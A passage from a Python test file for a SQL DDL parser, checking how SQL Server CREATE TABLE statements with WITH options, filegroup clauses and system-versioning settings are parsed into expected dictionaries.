}\n\n ddl = \"\"\"CREATE TABLE [dbo].[users_WorkSchedule](\n [id] [int] IDENTITY(1,1) NOT NULL,\n [user_id] [int] NULL),\n CONSTRAINT [PK_users_WorkSchedule_id] PRIMARY KEY CLUSTERED\n (\n [id] ASC\n ),\n\n CONSTRAINT [PK_users_WorkSchedule_id] PRIMARY KEY\n (\n [id] ASC\n )\n \"\"\"\n result = DDLParser(ddl).run(group_by_type=True)\n assert result == expected\n\n\ndef test_constraint_with_with():\n ddl = \"\"\"\n USE [mystaffonline]\n GO\n /****** Object: Table [dbo].[users_WorkSchedule] Script Date: 9/29/2021 9:55:26 PM ******/\n SET ANSI_NULLS ON\n GO\n SET QUOTED_IDENTIFIER ON\n GO\n CREATE TABLE [dbo].[users_WorkSchedule](\n [id] [int] IDENTITY(1,1) NOT NULL,\n [RequestDropDate] [smalldatetime] NULL,\n [ShiftClass] [varchar](5) NULL,\n [StartHistory] [datetime2](7) GENERATED ALWAYS AS ROW START NOT NULL,\n [EndHistory] [datetime2](7) GENERATED ALWAYS AS ROW END NOT NULL,\n CONSTRAINT [PK_users_WorkSchedule_id] PRIMARY KEY CLUSTERED\n (\n [id] ASC\n )\n WITH (PAD_INDEX = OFF,\n STATISTICS_NORECOMPUTE = OFF,\n IGNORE_DUP_KEY = OFF,\n ALLOW_ROW_LOCKS = ON,\n ALLOW_PAGE_LOCKS = ON))\"\"\"\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"comments\": [\n \"***** Object: Table [dbo].[users_WorkSchedule] Script Date: \"\n \"9/29/2021 9:55:26 PM ******/\"\n ],\n \"ddl_properties\": [\n {\"name\": \"ANSI_NULLS\", \"value\": \"ON\"},\n {\"name\": \"QUOTED_IDENTIFIER\", \"value\": \"ON\"},\n ],\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"clustered_primary_key\": [{\"column\": \"[id]\", \"order\": \"ASC\"}],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[id]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": (1, 1),\n \"type\": \"[int] IDENTITY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[RequestDropDate]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"[smalldatetime]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[ShiftClass]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 5,\n \"type\": \"[varchar]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"generated\": {\n \"always\": True,\n \"as\": \"ROW START\",\n \"stored\": False,\n },\n \"name\": \"[StartHistory]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 7,\n \"type\": \"[datetime2]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"generated\": {\"always\": True, \"as\": \"ROW END\", \"stored\": False},\n \"name\": \"[EndHistory]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 7,\n \"type\": \"[datetime2]\",\n \"unique\": False,\n },\n ],\n \"constraints\": {\n \"primary_keys\": [\n {\n \"columns\": [\"[id]\"],\n \"constraint_name\": \"[PK_users_WorkSchedule_id]\",\n }\n ]\n },\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [\"[id]\"],\n \"schema\": \"[dbo]\",\n \"table_name\": \"[users_WorkSchedule]\",\n \"tablespace\": None,\n \"with\": {\n \"on\": None,\n \"properties\": [\n {\"name\": \"PAD_INDEX\", \"value\": \"OFF\"},\n {\"name\": \"STATISTICS_NORECOMPUTE\", \"value\": \"OFF\"},\n {\"name\": \"IGNORE_DUP_KEY\", \"value\": \"OFF\"},\n {\"name\": \"ALLOW_ROW_LOCKS\", \"value\": \"ON\"},\n {\"name\": \"ALLOW_PAGE_LOCKS\", \"value\": \"ON\"},\n ],\n },\n }\n ],\n \"types\": [],\n }\n assert expected == result\n\n\ndef test_with_on():\n expected = {\n \"ddl_properties\": [],\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"clustered_primary_key\": [{\"column\": \"[id]\", \"order\": \"ASC\"}],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[id]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": (1, 1),\n \"type\": \"[int] IDENTITY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[RequestDropDate]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"[smalldatetime]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[ShiftClass]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 5,\n \"type\": \"[varchar]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"generated\": {\n \"always\": True,\n \"as\": \"ROW START\",\n \"stored\": False,\n },\n \"name\": \"[StartHistory]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 7,\n \"type\": \"[datetime2]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"generated\": {\"always\": True, \"as\": \"ROW END\", \"stored\": False},\n \"name\": \"[EndHistory]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 7,\n \"type\": \"[datetime2]\",\n \"unique\": False,\n },\n ],\n \"constraints\": {\n \"primary_keys\": [\n {\n \"columns\": [\"[id]\"],\n \"constraint_name\": \"[PK_users_WorkSchedule_id]\",\n }\n ]\n },\n \"index\": [],\n \"on\": \"[PRIMARY]\",\n \"partitioned_by\": [],\n \"primary_key\": [\"[id]\"],\n \"schema\": \"[dbo]\",\n \"table_name\": \"[users_WorkSchedule]\",\n \"tablespace\": None,\n \"with\": {\n \"on\": None,\n \"properties\": [\n {\"name\": \"PAD_INDEX\", \"value\": \"OFF\"},\n {\"name\": \"STATISTICS_NORECOMPUTE\", \"value\": \"OFF\"},\n {\"name\": \"IGNORE_DUP_KEY\", \"value\": \"OFF\"},\n {\"name\": \"ALLOW_ROW_LOCKS\", \"value\": \"ON\"},\n {\"name\": \"ALLOW_PAGE_LOCKS\", \"value\": \"ON\"},\n ],\n },\n }\n ],\n \"types\": [],\n }\n ddl = \"\"\"CREATE TABLE [dbo].[users_WorkSchedule](\n [id] [int] IDENTITY(1,1) NOT NULL,\n [RequestDropDate] [smalldatetime] NULL,\n [ShiftClass] [varchar](5) NULL,\n [StartHistory] [datetime2](7) GENERATED ALWAYS AS ROW START NOT NULL,\n [EndHistory] [datetime2](7) GENERATED ALWAYS AS ROW END NOT NULL,\n CONSTRAINT [PK_users_WorkSchedule_id] PRIMARY KEY CLUSTERED\n (\n [id] ASC\n )\n WITH (\n PAD_INDEX = OFF,\n STATISTICS_NORECOMPUTE = OFF,\n IGNORE_DUP_KEY = OFF,\n ALLOW_ROW_LOCKS = ON,\n ALLOW_PAGE_LOCKS = ON\n ) ON [PRIMARY]\n )\"\"\"\n result = DDLParser(ddl).run(group_by_type=True)\n assert expected == result\n\n\ndef test_period_for_system_time():\n ddl = \"\"\"CREATE TABLE [dbo].[users_WorkSchedule](\n [id] [int] IDENTITY(1,1) NOT NULL,\n [RequestDropDate] [smalldatetime] NULL,\n [ShiftClass] [varchar](5) NULL,\n [StartHistory] [datetime2](7) GENERATED ALWAYS AS ROW START NOT NULL,\n [EndHistory] [datetime2](7) GENERATED ALWAYS AS ROW END NOT NULL,\n CONSTRAINT [PK_users_WorkSchedule_id] PRIMARY KEY CLUSTERED\n (\n [id] ASC\n )\n WITH (\n PAD_INDEX = OFF,\n STATISTICS_NORECOMPUTE = OFF,\n IGNORE_DUP_KEY = OFF,\n ALLOW_ROW_LOCKS = ON,\n ALLOW_PAGE_LOCKS = ON\n ) ON [PRIMARY],\n PERIOD FOR SYSTEM_TIME ([StartHistory], [EndHistory])\n )\n \"\"\"\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"ddl_properties\": [],\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"clustered_primary_key\": [{\"column\": \"[id]\", \"order\": \"ASC\"}],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[id]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": (1, 1),\n \"type\": \"[int] IDENTITY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[RequestDropDate]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"[smalldatetime]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[ShiftClass]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 5,\n \"type\": \"[varchar]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"generated\": {\n \"always\": True,\n \"as\": \"ROW START\",\n \"stored\": False,\n },\n \"name\": \"[StartHistory]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 7,\n \"type\": \"[datetime2]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"generated\": {\"always\": True, \"as\": \"ROW END\", \"stored\": False},\n \"name\": \"[EndHistory]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 7,\n \"type\": \"[datetime2]\",\n \"unique\": False,\n },\n ],\n \"constraints\": {\n \"primary_keys\": [\n {\n \"columns\": [\"[id]\"],\n \"constraint_name\": \"[PK_users_WorkSchedule_id]\",\n }\n ]\n },\n \"index\": [],\n \"on\": \"[PRIMARY]\",\n \"partitioned_by\": [],\n \"period_for_system_time\": [\"[StartHistory]\", \"[EndHistory]\"],\n \"primary_key\": [\"[id]\"],\n \"schema\": \"[dbo]\",\n \"table_name\": \"[users_WorkSchedule]\",\n \"tablespace\": None,\n \"with\": {\n \"on\": None,\n \"properties\": [\n {\"name\": \"PAD_INDEX\", \"value\": \"OFF\"},\n {\"name\": \"STATISTICS_NORECOMPUTE\", \"value\": \"OFF\"},\n {\"name\": \"IGNORE_DUP_KEY\", \"value\": \"OFF\"},\n {\"name\": \"ALLOW_ROW_LOCKS\", \"value\": \"ON\"},\n {\"name\": \"ALLOW_PAGE_LOCKS\", \"value\": \"ON\"},\n ],\n },\n }\n ],\n \"types\": [],\n }\n assert expected == result\n\n\ndef test_on_primary_on_table_level():\n\n ddl = \"\"\"CREATE TABLE [dbo].[users_WorkSchedule](\n [id] [int] IDENTITY(1,1) NOT NULL,\n [RequestDropDate] [smalldatetime] NULL,\n [ShiftClass] [varchar](5) NULL,\n [StartHistory] [datetime2](7) GENERATED ALWAYS AS ROW START NOT NULL,\n [EndHistory] [datetime2](7) GENERATED ALWAYS AS ROW END NOT NULL,\n CONSTRAINT [PK_users_WorkSchedule_id] PRIMARY KEY CLUSTERED\n (\n [id] ASC\n )\n WITH (\n PAD_INDEX = OFF,\n STATISTICS_NORECOMPUTE = OFF,\n IGNORE_DUP_KEY = OFF,\n ALLOW_ROW_LOCKS = ON,\n ALLOW_PAGE_LOCKS = ON\n ) ON [PRIMARY],\n PERIOD FOR SYSTEM_TIME ([StartHistory], [EndHistory])\n )) ON [PRIMARY]\n \"\"\"\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"ddl_properties\": [],\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"clustered_primary_key\": [{\"column\": \"[id]\", \"order\": \"ASC\"}],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[id]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": (1, 1),\n \"type\": \"[int] IDENTITY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[RequestDropDate]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"[smalldatetime]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[ShiftClass]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 5,\n \"type\": \"[varchar]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"generated\": {\n \"always\": True,\n \"as\": \"ROW START\",\n \"stored\": False,\n },\n \"name\": \"[StartHistory]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 7,\n \"type\": \"[datetime2]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"generated\": {\"always\": True, \"as\": \"ROW END\", \"stored\": False},\n \"name\": \"[EndHistory]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 7,\n \"type\": \"[datetime2]\",\n \"unique\": False,\n },\n ],\n \"constraints\": {\n \"primary_keys\": [\n {\n \"columns\": [\"[id]\"],\n \"constraint_name\": \"[PK_users_WorkSchedule_id]\",\n }\n ]\n },\n \"index\": [],\n \"on\": \"[PRIMARY]\",\n \"partitioned_by\": [],\n \"period_for_system_time\": [\"[StartHistory]\", \"[EndHistory]\"],\n \"primary_key\": [\"[id]\"],\n \"schema\": \"[dbo]\",\n \"table_name\": \"[users_WorkSchedule]\",\n \"tablespace\": None,\n \"with\": {\n \"on\": None,\n \"properties\": [\n {\"name\": \"PAD_INDEX\", \"value\": \"OFF\"},\n {\"name\": \"STATISTICS_NORECOMPUTE\", \"value\": \"OFF\"},\n {\"name\": \"IGNORE_DUP_KEY\", \"value\": \"OFF\"},\n {\"name\": \"ALLOW_ROW_LOCKS\", \"value\": \"ON\"},\n {\"name\": \"ALLOW_PAGE_LOCKS\", \"value\": \"ON\"},\n ],\n },\n }\n ],\n \"types\": [],\n }\n assert expected == result\n\n\ndef test_with_on_table_level():\n\n ddl = \"\"\"USE [mystaffonline]\n GO\n /****** Object: Table [dbo].[users_WorkSchedule] Script Date: 9/29/2021 9:55:26 PM ******/\n SET ANSI_NULLS ON\n GO\n SET QUOTED_IDENTIFIER ON\n GO\n CREATE TABLE [dbo].[users_WorkSchedule](\n [id] [int] IDENTITY(1,1) NOT NULL,\n [user_id] [int] NULL,\n CONSTRAINT [PK_users_WorkSchedule_id] PRIMARY KEY CLUSTERED\n (\n [id] ASC\n ) WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF,\n ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY],\n PERIOD FOR SYSTEM_TIME ([StartHistory], [EndHistory])\n ) ON [PRIMARY]\n WITH\n (\n SYSTEM_VERSIONING = ON\n )\"\"\"\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"comments\": [\n \"***** Object: Table [dbo].[users_WorkSchedule] Script Date: \"\n \"9/29/2021 9:55:26 PM ******/\"\n ],\n \"ddl_properties\": [\n {\"name\": \"ANSI_NULLS\", \"value\": \"ON\"},\n {\"name\": \"QUOTED_IDENTIFIER\", \"value\": \"ON\"},\n ],\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"clustered_primary_key\": [{\"column\": \"[id]\", \"order\": \"ASC\"}],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[id]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": (1, 1),\n \"type\": \"[int] IDENTITY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[user_id]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"[int]\",\n \"unique\": False,\n },\n ],\n \"constraints\": {\n \"primary_keys\": [\n {\n \"columns\": [\"[id]\"],\n \"constraint_name\": \"[PK_users_WorkSchedule_id]\",\n }\n ]\n },\n \"index\": [],\n \"on\": \"[PRIMARY]\",\n \"partitioned_by\": [],\n \"period_for_system_time\": [\"[StartHistory]\", \"[EndHistory]\"],\n \"primary_key\": [\"[id]\"],\n \"schema\": \"[dbo]\",\n \"table_name\": \"[users_WorkSchedule]\",\n \"tablespace\": None,\n \"with\": {\n \"on\": None,\n \"properties\": [{\"name\": \"SYSTEM_VERSIONING\", \"value\": \"ON\"}],\n },\n }\n ],\n \"types\": [],\n }\n assert expected == result\n\n\ndef test_with_on_with_properties():\n\n ddl = \"\"\"USE [mystaffonline]\nGO\n/****** Object: Table [dbo].[users_WorkSchedule] Script Date: 9/29/2021 9:55:26 PM ******/\nSET ANSI_NULLS ON\nGO\nSET QUOTED_IDENTIFIER ON\nGO\nCREATE TABLE [dbo].[users_WorkSchedule](\n [id] [int] IDENTITY(1,1) NOT NULL,\n [user_id] [int] NULL,\n [station_Id] [int] NULL,\n CONSTRAINT [PK_users_WorkSchedule_id] PRIMARY KEY CLUSTERED\n(\n [id] ASC\n)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF,\nALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY],\n PERIOD FOR SYSTEM_TIME ([StartHistory], [EndHistory])\n) ON [PRIMARY]\nWITH\n(\nSYSTEM_VERSIONING = ON ( HISTORY_TABLE = [dbo].[users_WorkScheduleHistory] )\n)\"\"\"\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"comments\": [\n \"***** Object: Table [dbo].[users_WorkSchedule] Script Date: \"\n \"9/29/2021 9:55:26 PM ******/\"\n ],\n \"ddl_properties\": [\n {\"name\": \"ANSI_NULLS\", \"value\": \"ON\"},\n {\"name\": \"QUOTED_IDENTIFIER\", \"value\": \"ON\"},\n ],\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"clustered_primary_key\": [{\"column\": \"[id]\", \"order\": \"ASC\"}],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[id]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": (1, 1),\n \"type\": \"[int] IDENTITY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[user_id]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"[int]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[station_Id]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"[int]\",\n \"unique\": False,\n },\n ],\n \"constraints\": {\n \"primary_keys\": [\n {\n \"columns\": [\"[id]\"],\n \"constraint_name\": \"[PK_users_WorkSchedule_id]\",\n }\n ]\n },\n \"index\": [],\n \"on\": \"[PRIMARY]\",\n \"partitioned_by\": [],\n \"period_for_system_time\": [\"[StartHistory]\", \"[EndHistory]\"],\n \"primary_key\": [\"[id]\"],\n \"schema\": \"[dbo]\",\n \"table_name\": \"[users_WorkSchedule]\",\n \"tablespace\": None,\n \"with\": {\n \"on\": None,\n \"properties\": [\n {\"name\": \"SYSTEM_VERSIONING\", \"value\": \"ON\"},\n {\n \"properties\": [\n {\n \"name\": \"HISTORY_TABLE\",\n \"value\": \"[dbo].[users_WorkScheduleHistory]\",\n }\n ]\n },\n ],\n },\n }\n ],\n \"types\": [],\n }\n assert expected == result\n\n\ndef test_output_separated_by_go_and_textimage():\n\n ddl = \"\"\"/****** Object: Table [dbo].[TO_Requests] Script Date: 9/29/2021 9:55:26 PM ******/\nSET ANSI_NULLS ON\nGO\nSET QUOTED_IDENTIFIER ON\nGO\nCREATE TABLE [dbo].[TO_Requests](\n [Request_ID] [int] IDENTITY(1,1) NOT NULL,\n [user_id] [int] NULL,\n [date_from] [smalldatetime] NULL,\n [date_to] [smalldatetime] NULL,\n [comments] [varchar](2000) NULL,\n [status] [varchar](10) NOT NULL,\n [profile_id] [int] NULL,\n [DateAdded] [smalldatetime] NOT NULL,\n [UpdatedBy] [int] NULL,\n [UpdatedOn] [smalldatetime] NULL,\n [InitialResponseBy] [int] NULL,\n [InitialResponseDate] [smalldatetime] NULL,\n [InitialResponseStatus] [varchar](10) NULL,\n [adpRequestId] [varchar](50) NULL,\n CONSTRAINT [PK_TO_Requests_Request_ID] PRIMARY KEY CLUSTERED\n(\n [Request_ID] ASC\n)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF,\nALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]\n) ON [PRIMARY]\nGO\n/****** Object: Table [dbo].[ToDo] Script Date: 9/29/2021 9:55:26 PM ******/\nSET ANSI_NULLS ON\nGO\nSET QUOTED_IDENTIFIER ON\nGO\nCREATE TABLE [dbo].[ToDo](\n [ID] [int] IDENTITY(1,1) NOT NULL,\n [ProfileID] [int] NOT NULL,\n [Title] [varchar](50) NULL,\n CONSTRAINT [PK_ToDo_ID] PRIMARY KEY CLUSTERED\n(\n [ID] ASC\n)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF,\nALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]\n) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]\nGO\n/****** Object: Table [dbo].[ToDoComments] Script Date: 9/29/2021 9:55:26 PM ******/\nSET ANSI_NULLS ON\nGO\nSET QUOTED_IDENTIFIER ON\nGO\nCREATE TABLE [dbo].[ToDoComments](\n [ToDoCommentsId] [int] IDENTITY(1,1) NOT NULL,\n [CreatedBy] [int] NOT NULL,\n CONSTRAINT [PK_ToDoComments_ToDoCommentsId] PRIMARY KEY CLUSTERED\n(\n [ToDoCommentsId] ASC\n)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF,\nALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]\n) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]\nGO\"\"\"\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"comments\": [\n \"***** Object: Table [dbo].[TO_Requests] Script Date: \"\n \"9/29/2021 9:55:26 PM ******/\"\n ],\n \"ddl_properties\": [\n {\"name\": \"ANSI_NULLS\", \"value\": \"ON\"},\n {\"name\": \"QUOTED_IDENTIFIER\", \"value\": \"ON\"},\n {\"name\": \"ANSI_NULLS\", \"value\": \"ON\"},\n {\"name\": \"QUOTED_IDENTIFIER\", \"value\": \"ON\"},\n {\"name\": \"ANSI_NULLS\", \"value\": \"ON\"},\n {\"name\": \"QUOTED_IDENTIFIER\", \"value\": \"ON\"},\n ],\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"clustered_primary_key\": [{\"column\": \"[Request_ID]\", \"order\": \"ASC\"}],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[Request_ID]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": (1, 1),\n \"type\": \"[int] IDENTITY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[user_id]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"[int]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[date_from]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"[smalldatetime]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[date_to]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"[smalldatetime]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[comments]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 2000,\n \"type\": \"[varchar]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[status]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 10,\n \"type\": \"[varchar]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[profile_id]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"[int]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[DateAdded]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"[smalldatetime]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[UpdatedBy]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"[int]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[UpdatedOn]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"[smalldatetime]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[InitialResponseBy]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"[int]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[InitialResponseDate]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"[smalldatetime]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[InitialResponseStatus]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 10,\n \"type\": \"[varchar]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[adpRequestId]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 50,\n \"type\": \"[varchar]\",\n \"unique\": False,\n },\n ],\n \"constraints\": {\n \"primary_keys\": [\n {\n \"columns\": [\"[Request_ID]\"],\n \"constraint_name\": \"[PK_TO_Requests_Request_ID]\",\n }\n ]\n },\n \"index\": [],\n \"on\": \"[PRIMARY]\",\n \"partitioned_by\": [],\n \"primary_key\": [\"[Request_ID]\"],\n \"schema\": \"[dbo]\",\n \"table_name\": \"[TO_Requests]\",\n \"tablespace\": None,\n \"with\": {\n \"on\": None,\n \"properties\": [\n {\"name\": \"PAD_INDEX\", \"value\": \"OFF\"},\n {\"name\": \"STATISTICS_NORECOMPUTE\", \"value\": \"OFF\"},\n {\"name\": \"IGNORE_DUP_KEY\", \"value\": \"OFF\"},\n {\"name\": \"ALLOW_ROW_LOCKS\", \"value\": \"ON\"},\n {\"name\": \"ALLOW_PAGE_LOCKS\", \"value\": \"ON\"},\n ],\n },\n },\n {\n \"alter\": {},\n \"checks\": [],\n \"clustered_primary_key\": [{\"column\": \"[ID]\", \"order\": \"ASC\"}],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[ID]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": (1, 1),\n \"type\": \"[int] IDENTITY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[ProfileID]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"[int]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[Title]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 50,\n \"type\": \"[varchar]\",\n \"unique\": False,\n },\n ],\n \"constraints\": {\n \"primary_keys\": [\n {\"columns\": [\"[ID]\"], \"constraint_name\": \"[PK_ToDo_ID]\"}\n ]\n },\n \"index\": [],\n \"on\": \"[PRIMARY]\",\n \"partitioned_by\": [],\n \"primary_key\": [\"[ID]\"],\n \"schema\": \"[dbo]\",\n \"table_name\": \"[ToDo]\",\n \"tablespace\": None,\n \"textimage_on\": \"[PRIMARY]\",\n \"with\": {\n \"on\": None,\n \"properties\": [\n {\"name\": \"PAD_INDEX\", \"value\": \"OFF\"},\n {\"name\": \"STATISTICS_NORECOMPUTE\", \"value\": \"OFF\"},\n {\"name\": \"IGNORE_DUP_KEY\", \"value\": \"OFF\"},\n {\"name\": \"ALLOW_ROW_LOCKS\", \"value\": \"ON\"},\n {\"name\": \"ALLOW_PAGE_LOCKS\", \"value\": \"ON\"},\n ],\n },\n },\n {\n \"alter\": {},\n \"checks\": [],\n \"clustered_primary_key\": [\n {\"column\": \"[ToDoCommentsId]\", \"order\": \"ASC\"}\n ],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[ToDoCommentsId]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": (1, 1),\n \"type\": \"[int] IDENTITY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[CreatedBy]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"[int]\",\n \"unique\": False,\n },\n ],\n \"constraints\": {\n \"primary_keys\": [\n {\n \"columns\": [\"[ToDoCommentsId]\"],\n \"constraint_name\": \"[PK_ToDoComments_ToDoCommentsId]\",\n }\n ]\n },\n \"index\": [],\n \"on\": \"[PRIMARY]\",\n \"partitioned_by\": [],\n \"primary_key\": [\"[ToDoCommentsId]\"],\n \"schema\": \"[dbo]\",\n \"table_name\": \"[ToDoComments]\",\n \"tablespace\": None,\n \"textimage_on\": \"[PRIMARY]\",\n \"with\": {\n \"on\": None,\n \"properties\": [\n {\"name\": \"PAD_INDEX\", \"value\": \"OFF\"},\n {\"name\": \"STATISTICS_NORECOMPUTE\", \"value\": \"OFF\"},\n {\"name\": \"IGNORE_DUP_KEY\", \"value\": \"OFF\"},\n {\"name\": \"ALLOW_ROW_LOCKS\", \"value\": \"ON\"},\n {\"name\": \"ALLOW_PAGE_LOCKS\", \"value\": \"ON\"},\n ],\n },\n },\n ],\n \"types\": [],\n }\n\n assert expected == result\n\n\ndef test_next_value_for():\n\n ddl = \"\"\"CREATE TABLE 